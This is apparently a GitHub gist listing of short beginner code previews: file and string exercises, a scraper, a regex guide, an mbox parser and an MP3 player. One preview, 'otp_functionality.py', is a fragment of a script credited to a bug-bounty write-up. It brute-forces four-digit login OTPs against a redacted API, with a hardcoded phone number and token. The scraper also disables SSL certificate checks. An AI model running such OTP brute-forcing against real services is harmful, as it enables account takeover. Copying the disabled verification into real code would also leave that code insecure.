Skip to content

Instantly share code, notes, and snippets.

View ayubmetah's full-sized avatar

Ayub Metah ayubmetah

View GitHub Profile
@ayubmetah
ayubmetah / list_directory_contents_of a folder.py
Created January 13, 2021 23:18
This code requests the user to enter a directory in the local workstation and it lists he details of the all the files and folders in that directory with their full absolute path.
import os
get_directory = input("Enter path : ")
d = os.listdir(get_directory)
for dir in d:
currrent_path = os.path.abspath(dir)
print(currrent_path)
@ayubmetah
ayubmetah / iterate_integer_values.py
Created January 13, 2021 22:23
This code snippet uses one function. The count_occurance function counts how many times a number appears in the “values” list. This function iterates over all the values in “values” and keeps a running total of all those equal to a particular number. This number is specified as a parameter called “to_find”.
def count_occurrence(values, to_find):
number_of_occurrences = 0
for v in range(len(values)):
if values[v] == to_find:
number_of_occurrences += 1
return number_of_occurrences
values = [1, 2, 3, 3]
check_for_threes = count_occurrence(values, 3)
@ayubmetah
ayubmetah / reversed_string.py
Last active January 13, 2021 06:18
Function to print strings in reverse order using python
def reverse(lines):
return "Reverse order: " + lines[::-1] + "\n" + "Normal Order: " + lines
print(reverse("I am printing a sentence in reverse order"))
print(reverse("printing strings in reverse order using python"))
@ayubmetah
ayubmetah / Usin-Python-to-Access-Web-Data.py
Created January 11, 2021 23:27
Write a Python program which uses urllib to read HTML from the data files in a url and parse the data, extracting numbers and compute the sum of the numbers in the file.
import urllib.request, urllib.parse, urllib.error
from urllib.request import urlopen
from bs4 import BeautifulSoup
import ssl
# Ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
@ayubmetah
ayubmetah / Pythonlearn-11-Regex-Handout.txt
Created January 8, 2021 14:39
Python Regular Expression Quick Guide
Python Regular Expression Quick Guide
^ Matches the beginning of a line
$ Matches the end of the line
. Matches any character
\s Matches whitespace
\S Matches any non-whitespace character
* Repeats a character zero or more times
*? Repeats a character zero or more times
(non-greedy)
@ayubmetah
ayubmetah / dict3.py
Created January 6, 2021 21:45
Write a program to read through the mbox-short.txt and figure out who has sent the greatest number of mail messages. The program looks for 'From ' lines and takes the second word of those lines as the person who sent the mail. The program creates a Python dictionary that maps the sender's mail address to a count of the number of times they appea…
add=dict()
name = input("Enter file:")
handle = open(name,'r')
for mail in handle:
if not mail.startswith('From '): continue
text=mail.split()
text=text[1]
add[text]=add.get(text,0)+1
print(text, add[text])
@ayubmetah
ayubmetah / Implement Facebook "Like" functionality in Angular
Last active January 3, 2021 19:24
Implement Facebook "Like" functionality in Angular
Background
Imagine you're working at Facebook and your job is to implement the "Like" functionality.
When a user clicks the "Like" button below a post, the button is highlighted (to indicate that it is selected) and the number of likes is increased.
You're going to implement this feature in Angular and for that you'll need to create a component. This component is a TypeScript class that encapsulates the data for rendering the like button (eg: the number of likes, and whether the button is in the on/off state). It also responds to user actions. So, when the user clicks the "Like" button, the number of likes should be increased and the button should be in the "selected/on" state. If the user clicks the button again, the number of likes should be decreased and the button should be in the "unselected" state.
Spec
For the purpose of this exercise, forget about the HTML. Your focus should be purely on defining a TypeScript class with the right members (fields, properties, methods, constructor).
Allow the c
@ayubmetah
ayubmetah / MyPlayer.py
Created December 27, 2020 21:14
MP3 Music Player built with Python. [Credit for this code goes to Papa Moryba Kouate. (https://www.linkedin.com/in/papa-moryba-kouate-6a2aaa128/)
import pygame #used to create video games
import tkinter as tkr #used to develop GUI
from tkinter.filedialog import askdirectory #it permit to select dir
import os #it permits to interact with the operating system
music_player = tkr.Tk()
music_player.title("Ayub Technologies Player")
music_player.geometry("450x350")
directory = askdirectory()
@ayubmetah
ayubmetah / otp_functionality.py
Created December 27, 2020 18:51
The code below is from Suraj Bhosale's write-up regarding Account takeover via login with OTP. There are 10,000 possible combinations that the digits 0-9 can be arranged into to form a four-digit code. Script originally written by @suraj-bhosale-876b2937
def generateotp():
otp_found = 0
while otp_found == 0:
Endpoint = "https://api.redacted.com/v3/users/login"
#Generate new OTP Post data to be sent
payload = {"uemail":"","password":"","umobile":"0720619878"}
headers = {"temptoken": "8fa1db6aa4652f6124062f9ca1d2c5b1a6da199f", "Connection": "close"}
#Generating New otp
r = requests.post(url = Endpoint, data=json.dumps(payload), headers=headers)
soup = BS(r.text, "html.parser")
@ayubmetah
ayubmetah / lists_and_strings.py
Created December 23, 2020 22:28
What is wrong with the code for the following question?
# Open the file mbox-short.txt and read it line by line. When you find a line that starts with 'From ' like the following line:
# From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008
# You will parse the From line using split() and print out the second word in the line (i.e. the entire address of the person who sent the message). Then print out a count at the end.
# Hint: make sure not to include the lines that start with 'From:'. Also look at the last line of the sample output to see how to print the count.
# You can download the sample data at http://www.py4e.com/code3/mbox-short.txt
#MY SOLUTION
fh = open(fname)